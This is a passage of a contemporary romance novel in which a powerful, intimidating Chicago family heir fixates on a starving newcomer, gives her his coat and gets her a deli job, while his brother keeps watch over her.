Urgency was always about work, and nothing ever interfered with the Ferraro family business. Nothing. He played hard when he played, but work was important and dangerous and he kept his head in the game when it was time to get down to business. He needed to get his ass moving, but he still couldn't force himself, in spite of all the years of discipline, to get into his car and get to the airport. The compulsion in him was strong, not to be ignored, and he had no choice but to give in to it.
A voice drifted to him above the normal sounds of the street. Elusive. Mysterious. Musical. He turned his head as two women rounded the corner just at the very edge of his territory and began walking deeper into it. He recognized Joanna Masci immediately. Her uncle, Pietro Masci, was a longtime resident in Ferraro territory, born and raised there. He owned the local deli, a very popular place for residents to buy their produce and meats. A good man, everyone in the neighborhood liked Pietro and respected him. Pietro had taken Joanna in when his brother died years earlier.
It wasn't Joanna who caught his interest. The woman walking beside her was dressed totally inappropriately for the weather. No coat. No sweater. There were rips in her blue jeans, which clung lovingly to her body. And she had a figure. She wasn't thin like most girls preferred; she actually had curves. Her hair was wild. Thick. Very shiny. She wore part of it pulled back from her face in an intricate thick braid, but the rest tumbled down her back in waves. The color was rich. Vibrant. A true black. He couldn't see her eyes from that distance, but she was shivering in the cold Chicago weather and for some reason, he had an entirely primal reaction to her constant shivering. His gut knotted and a slow burn of rage began in his belly.
It wasn't her looks that caught his interest or made him stand utterly still. It was her shadow. The sun was throwing light perfectly to create tall, full shadows. Hers leaked long tentacles. Thin. Like streaks reaching out toward the shadows around her. Everywhere there was a shadow, hers connected to it with the long feelers—with long tubes. His breath hitched. His lungs seized.
She was the last thing he'd ever expected to happen because . . . frankly . . . a woman like her was so rare. He didn't know how to feel about it, but suddenly there was nothing else more important, not even Ferraro family business.
He had his cell phone out and punched in numbers without taking his gaze off of her. "Franco, I'm going to need to take the helicopter this morning. I have business to attend to before I can leave. Half an hour. Yeah. I'll meet you." He ended the call, still watching the two women and the strange shadow the stranger cast as he punched in another number. "Henry. I'm not going to use the car after all. Please return it to the garage for me." The Ferraro family had a temperature-controlled garage with a fleet of various cars and motorcycles. They all liked them fast. Henry took care of all the vehicles and kept them in top running order.
Stefano snapped the phone shut and stepped off the sidewalk to cross the street. He held up his hand imperiously and of course the cars stopped for him. Everything stopped for him when he demanded it.
* * *
Francesca Capello prayed she wouldn't pass out as she walked with Joanna toward the deli. She'd never felt so weak in her life. She was hungry. She'd made tomato soup using ketchup and water, but that was all she'd had to eat for the last two days. If she didn't get this job she was going to have to do something desperate, like ask the homeless woman she'd given her coat to where the nearest soup kitchen was.
Maybe it hadn't been such a great idea to give the woman her coat. Her clothes weren't the best for a job interview, but they were all she had. She needed the job, and she definitely wasn't looking very professional in her faded but very soft vintage blue jeans, a perfect fit, which was rare for her to find in the thrift stores. There were holes in the knees and one small one on her upper thigh, but some of the designer jeans featured rips. The tears in her jeans just happened to be from real wear.
"Wow, the deli's packed," Joanna observed as they stopped in front of a glass door. She yanked it open and ushered Francesca inside.
Francesca thought she might faint from all the smells of food. Her stomach growled and she pushed on it with one hand, hoping to quiet it. People were three deep at the counter and every small table throughout the room was filled.
"Popular place," she observed, because she _had_ to say something. She'd let Joanna do most of the talking because—well—she _couldn't_ talk. She wasn't bursting into tears in front of her friend. Not after all Joanna had done for her.
"I told you." Joanna flashed a grin, caught her arm and tugged her through the crowd to the window on the far side opposite the door. "We can wait here until Zio Pietro has a couple of minutes."
Francesca didn't think he was going to be free anytime soon. Now all the smells blended together, making her feel nauseous. She didn't want to throw up right there in his deli. She was fairly certain that wouldn't get her the job, but her stomach was so empty.
Her lungs burned from holding her breath, waiting for Joanna's uncle to get free enough to come interview her. Joanna had promised her the job. Francesca had spent nearly every cent she had—the money she'd borrowed from Joanna—getting to Chicago, and into the tiny apartment right on the very edge of Little Italy. She had nothing left for food or clothing. She _had_ to get this job. She could survive another week if she was very, very careful, but not much longer. She'd be living on the street with Dina, the homeless woman. She'd done that already once and it hadn't been fun. Truthfully, she wasn't altogether certain that her apartment was better than the street. Still, it had a roof.
Francesca couldn't stop shivering, no matter how hard she tried. The cold was biting and penetrated right to the bone. It didn't help that after the wild storm, there were puddles everywhere, impossible to avoid, and her shoes and socks were soaking wet. The soles were thin and the water had easily gotten inside her shoes. Not only were her feet wet, but her toes were numb.
Still, if she got the job, this was the perfect place for her. The neighborhood was small. Everything was in walking distance. She didn't own a car, or anything else for that matter. She was starting over, determined to rise from the ashes like the phoenix, but seriously, if Pietro didn't hurry up, she'd be on the floor soon.
If she didn't need food and to warm up so badly, she would have been happy with the evidence that the store was popular as a small specialty grocery and sandwich shop. Clearly, Pietro needed help. She could handle a cash register no problem. She could make sandwiches. She'd held a job in a deli while putting herself through school and she was certain this would be a piece of cake.
The door opened and a blast of cold air swept into the shop, chilling her further. She turned her head and froze. She had never in her life seen a man more gorgeous or more dangerous. He was tall, broad-shouldered, tough as nails and totally ripped. His hair was jet-black and seemed messy, but artfully so, as if even it refused to disobey him.
He wore a three-piece dark charcoal pin-striped suit that had to have been tailor made in Italy or France and looked to be worth a fortune. His tie was a darker gray to match the thin stripes in his suit and was worn over a lighter shade of charcoal shirt. He wore butter-soft gloves and a long, dark cashmere overcoat. Even the shoes on his feet looked like he'd paid a fortune for them. He made her acutely aware of her shabby clothes.
She wasn't the only one who noticed him. The moment he entered, all chatter in the shop ceased. Completely. No one so much as whispered. No one moved, as if they were all frozen in place. Pietro came to attention. Beside her, Joanna took a deep breath. The atmosphere in the store went from friendly chatter and lighthearted gossip to one of danger.
His face was carved in masculine lines and set in stone. He had a strong jaw covered by a dark shadow. He was easily the most gorgeous man she'd ever seen. His eyes were such an intense blue she almost didn't believe it was his natural color. The blue eyes swept the room, taking in everything and everyone. She knew they did. So did everyone in the room. Just like her, they were all staring at him. The eyes came back to her. Settled. Narrowed.
The impact was physical. Her breath rushed from her lungs. He could see right through her. She had far too many secrets for him to be looking at her and seeing so much. Worse, his gaze drifted over her, taking in the cropped sweater that molded to her breasts and just barely reached her waist. Her jeans rode a little lower than her waist so she had to resist pulling at the hem of the sweater, although her fingers automatically curled around the hem to do just that. The sweater was one of the few things she owned that was warm.
His gaze traveled down her holey jeans to her wet shoes and back up to her face. She wished the earth would open up and swallow her. The tension in the deli went up several more notches. Francesca knew why. Not only was this man gorgeous and dangerous, he was angry. A black wall of intense heat filled the room until no one seemed able to breathe. She could actually _feel_ his anger shimmering in the air. The room vibrated with his fury.
She found herself trembling and shrinking back under that brilliant blue stare. She didn't understand why he'd singled her out, but he had. His diamond-hard gaze was fixed on her, not on any of the other customers—just her. She took a deep breath and let it out, tugging self-consciously on the hem of her sweater. When she did, his scowl deepened.
"Mr. Ferraro." Pietro stepped around the counter.
Pietro's shoulders were square, his face a mask of concern, his tone respectful. He looked as if he might faint any moment. Everyone did. Francesca didn't understand what was happening, but clearly Joanna was very aware. Her friend trembled and put one hand on Francesca's arm as if to steady herself.
They were all afraid of him. Francesca could see why—he looked and felt dangerous. But every single person in the store? Afraid? Of. This. Man. That was a little terrifying. She wished fervently he would stop looking at her.
The man, Mr. Ferraro, stepped in her direction. He looked—predatory. His gaze didn't waver. Not for one moment. If she wasn't mistaken, he didn't blink, either. The crowd instantly parted, just like the Red Sea, leaving open a path straight to her. She felt more vulnerable and exposed than ever. She couldn't even ask Joanna who he was and why everyone was afraid of him or even how they all knew him. Or why his anger would be directed at her.
Everything in her stilled. Unless he knew. Oh, God. He couldn't know. She had nothing left, nowhere to go. If she didn't get this job, she'd be on the street again. Her face burned under his scrutiny. She knew he saw everything. Her thrift store clothes. Her wet shoes. Her lack of makeup. His suit easily cost thousands, as did his coat. His gloves probably cost more than her entire outfit when it had been brand-new. What he spent on his watch could probably buy a car.
She felt her color rise, and she couldn't stop it. Her gaze lowered, although she felt defiant. Just because he was wealthy—and he was more than wealthy, anyone with eyes could see that—he had no right to judge her.
God, but he was good-looking. Italian American. Olive skin. Gorgeous blue eyes and thick black hair that made a woman want to run her fingers through it. No man should be able to look like he did. She tried to look away from him, but something in his steady gaze warned her not to and she didn't dare defy him. She couldn't imagine anyone crossing him. He didn't exactly walk up to her. He stalked, like a great jungle cat emerging from the shadows. Silent. Fluid. Breathtaking.
"Poetry in motion," she murmured under her breath. She'd heard the expression, but now she knew what it meant, how the words could come alive with a man moving.
He stopped abruptly. Right in front of her. Had he heard? She felt more color creeping into her face. A deep red. She was mortified to be singled out of the crowd. That was bad enough, but if he'd heard her . . .
"I'm Stefano Ferraro. You are?" It was a demand, nothing less.
She opened her mouth. Nothing came out. She actually felt paralyzed with fear. Of what she wasn't certain. Joanna's fingers dug into her arm hard, hard enough to get her to blurt out her name. "Francesca. Francesca Capello."
"Where the fuck is your coat?" His voice was pitched low. Soft. It sounded menacing, as if all his anger was directed at her because she didn't have on a coat.
She winced at his language and the abruptness of his completely shocking question. She tipped her chin up and instantly his eyes were on her face, following that gesture of defiance. "It isn't your business," she said, keeping her voice as equally low.
A collective gasp went up in the store, reminding her they weren't alone. She _felt_ alone, as if there were only the two of them.
"It is my business," he returned. "You're shivering so badly your teeth are chattering. Where the fuck is your coat?"
She opened her mouth to tell him to go to hell, but nothing came out. Not one single word.
"She gave her coat to the homeless woman," Joanna supplied hastily. "On our way here. We were walking along Franklin and there was a woman sitting under the eaves there and she was cold so Francesca gave her coat to her."
"Dina," Francesca muttered.
"Dina?" he repeated.
"She has a name. It's Dina," she repeated, before she could stop herself. She knew she sounded snippy, but she didn't care.
"I'm well aware who she is," he said. "I'd like to know who you are."
Francesca was both horrified at his interest and mortified that she was in the spotlight. She sent up a little prayer for the floor to open up and swallow her right there.
This was met with silence so Joanna jumped to fill the breach. "She's a friend of mine, and I talked her into coming here to live from California. Uncle Pietro needed someone to help in the deli and she has tons of experience." The words tripped over one another in her haste to get the information out. "That's what we're doing now, applying for the job."
Francesca was well aware everyone in the store was staring at her, including Pietro. She was certain she looked homeless in her thrift store clothes, but really, the woman in the street had been freezing. Francesca, at least, had four walls to protect her—until the end of the month, and then she'd be sharing a cardboard box with Dina.
"I see." Stefano Ferraro said the words thoughtfully, his eyes still fixed on her. "You know her, Joanna? You vouch for her?"
Joanna nodded her head vigorously, her dark cap of hair flying around her face. Francesca could feel her trembling, which was unusual. Joanna had always had tons of confidence in herself. She'd been popular at school and always, always had an opinion to give. Everyone liked her, yet she was definitely shaking.
Stefano, still watching Francesca's face, pulled out his wallet, shoved a handful of bills into his coat pocket and then removed the coat. He held it open in front of Francesca.
Her lungs seized. She shook her head and tried to step back but she ran into Joanna's trembling body. Who was this man that everyone was so afraid of? Francesca knew the blood had drained from her face; she could feel it. She shook her head again, more vigorously so there could be no mistake the answer was a resounding, emphatic _no_.
Impatience crossed his face. "I don't have time to fuck around, _bambina_. Get your arms in the coat and come outside with me for a moment. We'll talk." He glanced at his very expensive watch. "I have about two minutes and then I have to be somewhere."
She considered stalling for the two minutes so he'd have to leave, but both Joanna and Pietro looked desperate. He had to be a criminal. Mafia. One of the strong-arm men who came in and took all the money from the stores, like on television. He looked far too elegant for that, but he also looked as if he could easily break bones and not break a sweat.
Joanna actually pushed her toward Stefano. Resigned, Francesca turned her back to him, slipping her arms in the sleeves. To her horror he reached around her to button up the long coat. _Around her._ Caging her in. Her back was against his chest and his arms were long, enclosing her while he buttoned the coat. She felt his warmth. His strength. For the first time that morning, she stopped shivering.
His arms felt enormously strong, his chest an iron wall. More, with every single breath she took in, she breathed him in. His scent. Very masculine. Spicy. He turned her around to face him and then stepped in close to her—too close—because again, she couldn't breathe. The coat was warm. Heaven. Soft. It smelled like him. And he smelled good. He actually made her weak in the knees, unless really, he had nothing to do with it and she was just hungry.
His hand slipped down her arm and his fingers shackled her wrist in a firm grip. She looked up at him, bracing herself for the moment their eyes would meet, but he was looking at Joanna's uncle. He wasn't smiling, but he offered his other hand.
"Pietro. Good to see you. I trust you'll take good care of what's mine." His voice was low, sexy. She actually felt a strange answering vibration move through her body, like a song, a note tuned only to him.
He looked down at her again, and the impact of his eyes was enough to send her into a mini-orgasm. It was the truth whether she liked it or not. Joanna made a little sound in her throat, saving her, allowing her to turn her head toward her friend at Stefano's declaration. Pietro's head jerked up and his gaze shot to Francesca's face. Francesca frowned, trying to read the local language, but she had no idea what had passed as conversation between Pietro and Stefano Ferraro.
Gritting her teeth, she went with Stefano because it was time to give the man a piece of her mind and she couldn't do that in front of everyone. And also because he didn't really give her any other choice. Not only were Pietro and Joanna staring at her, but once again, everyone in the store was as well. She didn't like or need attention on her.
The blast of cold hit her as Stefano opened the door and allowed her to emerge first. She was too aware of him, of that hard, muscular body moving so close to hers. He kept her close with his grip, so that when she took a step, her body brushed against his continuously.
He stopped just outside the deli, to the right of the door, under the eaves. Her hands dropped to the buttons of his coat. Instantly his hand covered hers, preventing her from sliding the buttons open. His body blocked hers from the wind, crowding her. He put one hand to her belly and pushed gently until she took the three steps necessary for her back to be against the wall of the building, and then he easily caged her in.
"Use the money to eat something. Buy a decent pair of shoes. Do _not_ give my coat away. I'm rather fond of it."
His voice was a little impatient, definitely authoritative, as if everyone in the world would obey his every command—and they probably did. She detested that she was standing in front of the world's hottest man and he could see she had nothing. Absolutely nothing. She wasn't taking anything from him, either.
"I am _not_ taking your money or your coat," she snapped.
His hands kept hers trapped. His thumb slid over the back of her hand and even through the soft, buttery leather of the glove, the gesture sent a tingle of awareness down her spine.
"The coat is a loan, and the money . . ." He shrugged.
"I'm _not_ taking it," she reiterated.
"Is there a reason why you're allowed to be kind, but I'm condemned for the same gesture?" he asked softly.
Her eyes met his and that was a mistake. A huge mistake. She felt as if she was falling into those hard, piercing eyes. She knew instantly he hadn't given her the coat because he was being kind. She just didn't know why he'd given it to her. Or why he'd taken an interest in her at all.
"Francesca?" he prompted.
She tried not to scowl at him. "No, of course not. It's just difficult to accept charity." She took a breath.
"It isn't charity."
That's what she'd been afraid of. Her gaze slid away from his. "I can't accept . . . That is . . . From you . . . Because you're . . ." _God._ She couldn't even talk. He was too close. Surrounding her with heat. Too handsome. Too dangerous. Too everything she wasn't and would never be.
His jaw hardened even more if that was possible. She had her eyes fixed on his very sexy five-o'clock shadow so she saw very plainly his impatience. Her belly tightened into little hard, apprehensive knots. She couldn't help herself; she pressed her hand deep to try to stop the tension coiling there. His gaze dropped to her hand and then came back up to her face.
"It's because I have money." He made it a statement.
His accusation stung, mostly because it was the truth. The color deepened in her face. He made her sound prejudiced. She hated that he called her on it, but the truth was, she would have been much more able to accept the coat from someone who had far less. She caught her lower lip between her teeth. Of course that wasn't the only reason, but she couldn't enumerate those reasons, either. That he was gorgeous, superhot. Or that he was dangerous and she thought he might be a member of organized crime.
"Francesca."
Her stomach somersaulted. He said her name low. Commanding. He was used to deference. Obedience. She took a breath.
"Look at me."
She let her breath out slowly and forced her gaze up his handsome face until her eyes collided with his. Then the breath slammed out of her lungs, leaving her fighting for air.
"Keep. The. Fucking. Coat." He bit out each word.
He scared the crap out of her. He wasn't touching her or threatening her, but she felt menace rolling off of him in waves. There was no use fighting him on it. He was going to get his way. Both of them knew it.
"Thank you." The words tasted a little bitter, but she managed to choke them out.
He nodded his head and glanced at his watch again. "Get something to eat," he added, turning away from her. "I'll be back for my coat."
She cleared her throat. "Mr. Ferraro?"
He spun back. Graceful. Impatient. "Got things to do, Francesca."
She didn't care. She had to know the truth. "Why is everyone afraid of you?"
His blue eyes held hers captive for so long she heard her heart pound. "Because I'm not a man you ever fuck with."
She blinked up at him, a little shocked at the honesty in his answer. She was fairly certain he was right. He'd brought an entire roomful of people to a standstill. No one had moved. No one had spoken. He definitely looked like a man no one would dare fuck with. Least of all her.
She cleared her throat. "I don't like that sort of thing."
He pressed one hand to her belly again, pushing her back against the wall, stepping in close to her until his heat and the scent of him surrounded her. "What sort of thing?" His gaze dropped to her mouth. Held there.
Her lips trembled, and a million butterflies took wing in her stomach. Her heart pounded. God. He was so close. Too close. He was taller than her by at least a head and a half. His shoulders blotted out the street behind him. He smelled—delicious. She didn't know a man could smell that good. It was freezing cold outside and he wasn't even shivering though she had his coat.
"The F-word sort of thing." She blurted it out, saying the first thing that came into her mind without thinking.
His eyebrow shot up. She hadn't thought that anyone really could do that. Shoot up one eyebrow. It was incredibly hot—at least on him.
"'The F-word'? " he repeated. " _Dolce cuore_ , you can't even say _fuck_ , for fuck's sake."
She felt the color creeping into her face, although she didn't know why. She wasn't the one spouting off inappropriate language to a complete stranger. She wasn't staring at his mouth, although she wanted to. She resisted, because that was what was polite. She wasn't pressing him against a wall and holding him there with a hand on his belly and another by his head. She wouldn't dare touch him.
There was nothing to say to that so she didn't say anything. She just stood there, waiting for him to release her.
He glanced at his watch again. "I really have to go. Eat. I mean it, Francesca. Don't give the money or the coat to anyone else. I'll know, and I won't like it."
She made a face. "Should I be afraid of you?"
For the first time amusement softened his features. "Only if it keeps you from giving away my coat and ensures you eat today." He reached out and bunched her hair in his hand and then allowed the strands to slip out of his fist. "Don't forget to buy a decent pair of shoes."
"I'll use your coat, but the money . . . I don't know when I can pay you back."
"Pietro pays a decent wage." He turned away from her.
"I don't have the job yet."
"You have the job." He lifted a hand and started down the street, moving easily, quietly. Looking more gorgeous than ever.
"Wait. How do I return the coat?" she asked a little desperately. He'd made it clear he wanted his coat back.
"I'll find you."
She watched him striding away. Watched how people on the sidewalk moved out of his way. He seemed to flow across the sidewalk, a force to be reckoned with. She felt a little bit battered, as if she'd been in the middle of the sea during a terrible storm. She didn't move, not for a long time. She huddled there in his long coat and forced herself to breathe deeply, trying not to feel faint.
Joanna caught her by the arm. "Oh. My. God. Did that just happen? Tell me that didn't just happen." She practically shook Francesca in her shock.
Francesca glanced through the window of the deli. No one had moved. The attention of every individual in the store remained completely riveted on Stefano Ferraro. She ducked deeper into the warmth of the coat. The cashmere smelled like him. Was warm like him. Elegant like he was.
"What _did_ just happen?" Francesca asked Joanna. "Because I have no idea."
"He just told Zio Pietro to hire you. _Ordered_ him."
"He can't do that." Francesca frowned, alarmed.
"Yes, he can and he did. No one goes against a Ferraro. No one, Francesca."
"Great. Your uncle is going to blame me for having someone step in and tell him what to do in his own store."
"No, he won't. He's excited that he got to do a favor for Stefano. That's rare and it means something. You do a favor for one and they _all_ feel they owe you. The entire family. That's huge, to have a Ferraro owe you. Zio Pietro was practically dancing around the shop."
"Why would that man get so angry because I didn't have a coat?"
Joanna looked confused. "I have no idea. I just know it's supercool that you attracted his attention. I've been around for years, since I was a little girl, and they all know my name and they know me, but they've never taken that kind of interest in me."
Francesca clenched her teeth. "Why would that be?" Already knowing the answer and not liking it.
"We don't exactly run in the same social circles. That family is total celebrity. Everyone knows them."
That didn't make Francesca the least bit predisposed to feeling better about Stefano Ferraro's interest in her. "I don't know them. I don't want to know them." Which wasn't altogether true. She'd heard the name. She knew the name was associated with an international bank and a very prestigious hotel as well as a racing team.
Joanna caught her arm and tugged in the direction of the deli's door. "Come on, it's cold out here. Zio Pietro wants to meet you."
"You said _them_. There's more than one of him?" She knew a Ferraro drove a race car, but surely the name wasn't that uncommon.
Joanna nodded solemnly. "And they're all that gorgeous. I kid you not. Stefano's the oldest. He has four brothers, equally hot. One sister, totally beautiful. When they walk around together, people just stare at them. That's how hot they are. Each one of them is supercool as well, which makes them all _scorching_ hot. I'm a little in love with them, including their sister. That's how totally gorgeous they are."
Francesca couldn't help it. She started to laugh. She hadn't laughed in months. It was good to see Joanna again. She was not in the least complicated, nor did she want to be. She always found humor in everything and she loved to party, go to clubs and dance the night away.
"I can't believe Stefano Ferraro claimed you."
The statement tumbled out, leaving Francesca feeling weak and more confused than ever. As they entered the store, all eyes turned to her. The deli was eerily silent. Color infused her face. She wanted to turn and run.
"Joanna, come behind the counter and help out while I talk to your friend," Pietro ordered, beckoning to his niece.
Joanna squeezed Francesca's hand. "Zio Pietro, this is my best friend, Francesca Capello."
"Yes, yes, you talk about her all the time," Pietro said, beaming. He waved toward the customers. "Hurry, before they take their business somewhere else. I'll look after Francesca for you."
He indicated for Francesca to follow him and she did, winding her way through the throng of people, back behind the counter. Once behind the counter she was up close to the smells of the food and her stomach growled again. She found herself pulling the coat closer around her like a shield, trying to hide from all the eyes staring at her. Trying to hide the fact that she was _starving_. She followed Pietro through a narrow hallway to the rather messy office.
Pietro waved her toward a chair. "Sit. I'll get you an application, but that's just because I need your information. A mere formality."
She winced, wishing it were easy for the average person to get a new identity. She'd actually made inquiries, only to find out it would be impossible when she didn't have money and didn't know anyone in the criminal world—well, only one someone—so she'd remained Francesca Capello. Her fingers gripped the outside of the coat, gathering the material into her fist, holding so tight her knuckles turned white.
"Tell me how you know Stefano Ferraro. It sounded as if you just met, yet he said . . ." He trailed off, clearly looking for more information.
She looked across the desk at Pietro, her heart beginning to pound. She _needed_ this job. She wasn't good at lying, but . . . She didn't know what to do, how to answer him. "I'm sorry, Mr. Masci. I never laid eyes on him before today." There. She told the truth. She found she was trembling from head to foot. She had to get the job. She leaned toward him. "Please. I'm a really hard worker. I've had tons of experience. Really." She just couldn't put down any references. Not a single one.
Pietro sat back in his chair, frowning at her. "You've never laid eyes on him before today?" He repeated her denial softly. Thoughtfully. "He _claimed_ you. He asked me to take care of you for him. Do you have any idea what that means for us? How can you not know him?"
She was getting desperate. Food had been scarce for the last few weeks. Hiding in old buildings trying to stay alive when you were being hunted could make food not a first priority. The bus trip had been long. She had to save her money to try to get a place to stay. That didn't leave a lot for food.
"I met Joanna in school—in college. When . . . things happened to me . . . to my family, she was kind enough to help me out. I took a bus out here from California because she thought I could work in your store and build a new life here."
He put both hands on the desk. Flat. Leaning toward her. Eyes piercing. Her heart sank.
"Are you running from the law?"
Relief was so strong she wanted to cry. She shook her head. "No, sir. I'm not. I did get into some trouble back home, but I'm not in trouble with the law. I really need this job. I don't have much money left . . ." That reminded her of the folded bills Stefano Ferraro had stuffed into the pocket of his very warm coat.
"Why would Stefano Ferraro ask a favor of me for you? Does he know your family?"
She shook her head, feeling dizzy. "I swear to you, I don't know him. I don't know why he gave me his coat, or acted the way he did."
"He took you outside and had a conversation with you. What did he say?"
"Nothing. He didn't want me to give away his coat. He said I had to buy some shoes with the money. He was being kind."
Something in his eyes shifted. "The Ferraros are a lot of things, but they are not kind. He wants you taken care of. My niece has asked as well. I'll hire you. You can start tomorrow. Fill out the papers, and I'll go get you food. You look as if you haven't eaten in a while."
Francesca had to admit she didn't think Stefano had helped her out of kindness, but certainly Pietro's expression was kindly and she sagged with relief. She was going to put down the entire incident with Stefano as weird, treat it like he meant the gesture kindly. She wouldn't spend his money, but she'd wear his coat and then hang it carefully in her apartment until she figured out how to get it back to him.
She filled out the application, leaving just about everything blank. Her name. Her social security number. That was it. There was nothing else she could safely tell him.
# CHAPTER TWO
Joanna tossed a handful of magazines onto the table in front of Francesca. "Check those out. Tell me I'm wrong about the Ferraro family."
Francesca sighed. She'd managed to eat two meals, thanks to Joanna and her uncle. She'd kept the meals small, and she was happy she had. The food sat in her stomach as if her body had forgotten how to process it. Her first day at work had been very successful and Pietro was pleased. The deli's customers had doubled in one day. She'd kept her head down and worked hard, avoiding the staring eyes. Pietro didn't care if they stared at his newest employee. He cared about the cash register, and it was full. That meant the tip jar was full as well.
Francesca smiled at Joanna as Joanna leafed through one of the glossy magazines to show her a headline. _Ferraro brothers. Fast cars and faster women._ There was a series of photographs of Stefano Ferraro standing by a race car with a huge smile and a large trophy, a woman in his arms, looking up at him. Four very hot men and an exceptionally beautiful woman circled him, all beaming at him. Joanna was right. They were gorgeous.
"Well, that lets me out. I don't own a car, and I couldn't be considered running in the fast lane no matter who was talking about me." Francesca should have been feeling relief, but the more she paged through the magazines and saw models, singers, actresses and heiresses adorning the arms of the Ferraro males, the more she felt a little sick.
"Wow. If you considered even a tenth of this stuff is true, they live life on the edge. Parties. Racing cars. Playing polo. What was he doing in your uncle's shop? I wouldn't think he would set foot in a place that was rated less than five stars."
"The Ferraro family owns most of the buildings in our neighborhood. Not the homes, but the apartment buildings, and all the store space. They're very hands-on. Their parents actually buy locally. They often come in and talk to Zio Pietro."
"You're telling me that these people are actually friends with all of you?" She couldn't keep the disbelief from her voice.
Joanna shook her head. "Not friends exactly. I'm not saying we run in the same circles. It's more like they're royalty and we all know them by sight. They keep an eye on things."
Francesca looked at the pictures of the ridiculously handsome faces with women on their arms—women dripping with diamonds—and she just couldn't see them walking around the neighborhood and frequenting the local shops.
"Are they mafia?"
Joanna gasped and looked around her. "Francesca! Sheesh. Are you nuts? You don't ask a question like that where anyone might hear you."
"Well. Are they?" she persisted.
Joanna looked uncomfortable. "They keep the neighborhood safe."
Francesca looked down at the open pages of the magazines again. They looked like playboys, yet if she looked really close, if she studied their faces, she could see the danger lurking under all that beauty. The bell over the door announced a customer and Francesca looked up as she stood. Her heart stuttered. Another Ferraro. Definitely. Not Stefano, but certainly one of his brothers. His sharp gaze moved around the store until it settled on her. Her stomach reacted, taking a little dive. She glanced at Joanna. Her friend sat frozen, her mouth open, her hand on the magazines.
Francesca carefully closed the covers and prayed those sharp eyes already dissecting the two of them hadn't seen what they were looking at. She forced her body to move, going straight to and around the counter. That helped, putting a barrier between them.
"May I help you?" Her voice came out a little strangled. She had secrets. Men like the Ferraros—jet-setters, men so rich they thought they owned everything in their world— could ruin her. She knew from experience that they wouldn't think twice about destroying anyone who got in their way.
"Hello, Joanna," the newcomer said, looking at Francesca, not Joanna. "You want to introduce us?"
Joanna jumped up so fast she nearly knocked over her chair. This time of day the deli was relatively quiet. Clusters of customers came in sporadically until the next big rush. Still, the few customers that were there ceased speaking, just as they'd done when Stefano had walked in.
"Of course. Giovanni Ferraro, this is my friend Francesca Capello."
Giovanni stuck out his hand. Francesca had no choice but to take it or seem rude. For all her declarations of the Ferraro family keeping the neighborhood safe, Joanna seemed anxious. Giovanni's hand closed around hers.
"You're new in our neighborhood." Giovanni made it a statement.
Francesca nodded. "Is there something I can get for you?"
"Mamma would like me to bring her some of Pietro's tiramisu. She's been craving it and couldn't get into the store today. Would you box me up six pieces?"
Francesca nodded. Relieved. He had a legitimate reason for coming to the store. What did she know? Joanna said the family frequented the store. Her weird encounter with Stefano made her nervous—that was all. She put together one of the carry boxes and lined it carefully, knowing Pietro would want the box to be extra special.
"How are you settling in to the neighborhood?" Giovanni asked. "Everyone treating you right?"
Francesca felt the tension in the store rise a notch. She lifted her gaze slowly to meet his. This was no casual visit. She didn't know why the innocent question tipped her off, but the Ferraro family continued to take an interest in her. Alarm bells began shrieking at her. Maybe even Chicago wasn't safe for her. She tried not to look as if she was freaking out. Joanna was. Her face had gone pale and she twisted her fingers together anxiously, waiting for Francesca's answer. The entire store seemed to be waiting.
"Everyone has been wonderful," she replied, and looked down at her work space, carefully placing each piece into the box.
"No complaints then?" he prompted.
Her heart jumped. She felt like she was walking on eggshells, one wrong move and something terrible would happen. She just didn't know what.
"None." She put the box on the counter.
Giovanni leaned close as he handed her the money for the tiramisu. "Buy some shoes." His voice was low. Just between the two of them.
Her gaze jumped to his. He refused to look away. She wasn't going to argue with him, but she wasn't spending Stefano's money. Not one cent. Not for anything. Pietro let her eat there at the deli and she was careful not to abuse that privilege, but she wasn't going hungry anymore, so she didn't need Stefano's money. The Ferraro family seemed to be obsessed with her getting new shoes.
"Don't piss him off," Giovanni advised. "Buy yourself the shoes. You can always pay him back. He'll be home soon and you don't want to get him riled."
"He sent you to check up on me?" she hissed.
He grinned at her, completely unrepentant. He looked nearly as gorgeous as his brother. And as arrogant. "We're watching over you," he admitted. "He'd beat the holy hell out of us if we didn't. So buy the shoes and keep me from getting a broken nose. I like mine the way it is."
She gave him the change. "Just wait right there. I've got his coat in the back and you can . . ."
Giovanni backed away from the counter. "Not going to happen, woman. You give him that coat in person. He'd kill me over that coat. Wear it. He'll be checking on that, too. Buy some shoes and wear the fucking coat. Put him in a good mood for a change."
What did that mean? Stefano looked like he was in a good mood when he was smiling for the cameras with all those women hanging on his arm.
Giovanni turned away from Francesca, which was just as well because she might have thrown something at him. "Joanna, you haven't been by the club for a while."
Joanna had closed the rest of the magazines, stacked them and turned them all over so only the back covers showed. Francesca was fairly certain it was too late. Giovanni had seen what they were doing. There was no doubt in her mind that he would report that to his brother as well.
"You been giving our competitors your business?" Giovanni's tone was teasing, but Joanna looked nervous.
"I love the club," she said, "but the price is a little steep, and I usually don't make it in even if I come up with the door fee."
Giovanni's face darkened. "What did you say?"
"It's all right, really. I understand. It's a hot spot. I don't exactly have the clothes . . ."
"That's bullshit." He pulled a card from his wallet and handed it to her. "Skip the fucking line and show that to the bouncer. They don't let you in, you call the number on that card and I'll handle it. You're one of ours. They let you in when you want in. Come this next weekend and bring Francesca. I'll be there and so will Stefano. We've got a meeting. If there's any trouble, just call."
Francesca was horrified. Shocked, too. Giovanni sounded really angry. Not because of her, but on Joanna's behalf, and that made Francesca like him a little better. He didn't like that Joanna had been refused entry into their club. Still, she was _not_ going to some hot club. What was she going to wear? Her holey jeans? Not likely.
They watched Giovanni leave, and then Francesca came out from behind the counter. "What in the world was that?"
"I don't know, but clearly the family is watching over you," Joanna said. She held up the card. "Can you believe he gave me this? He was angry that they didn't let me in. He said to just jump the line, too. Can you imagine getting to do that? I've gotten into the club a couple of times but usually they turn me away at the door."
"That's terrible. Snobs."
"The Ferraros clearly aren't the ones being snobs," Joanna said, waving the card at her. "We can go dancing, Francesca."
"I can't go," Francesca protested. "I wouldn't have the money to get in, let alone something to wear. Seriously, Joanna, go with your other friends or by yourself. No way am I going out to a club, especially one the Ferraros frequent."
"Own. They own it. They have several businesses, and that's just one. The main family business is international banking. They also have the hotel, which is the bomb. Movie stars stay there. In any case, you _have_ to come with me. They'll expect it." Joanna pressed the card against her heart. "I'll find you something to wear."
"No." Francesca threw herself into the seat beside Joanna. "They're watching me. He as good as said so. Why would they do that? Do you think they found out about . . ." She trailed off, and reached for Joanna's hand. "They run in the same circles. If they tell anyone I'm here, I'll have to run again and I don't have enough money."
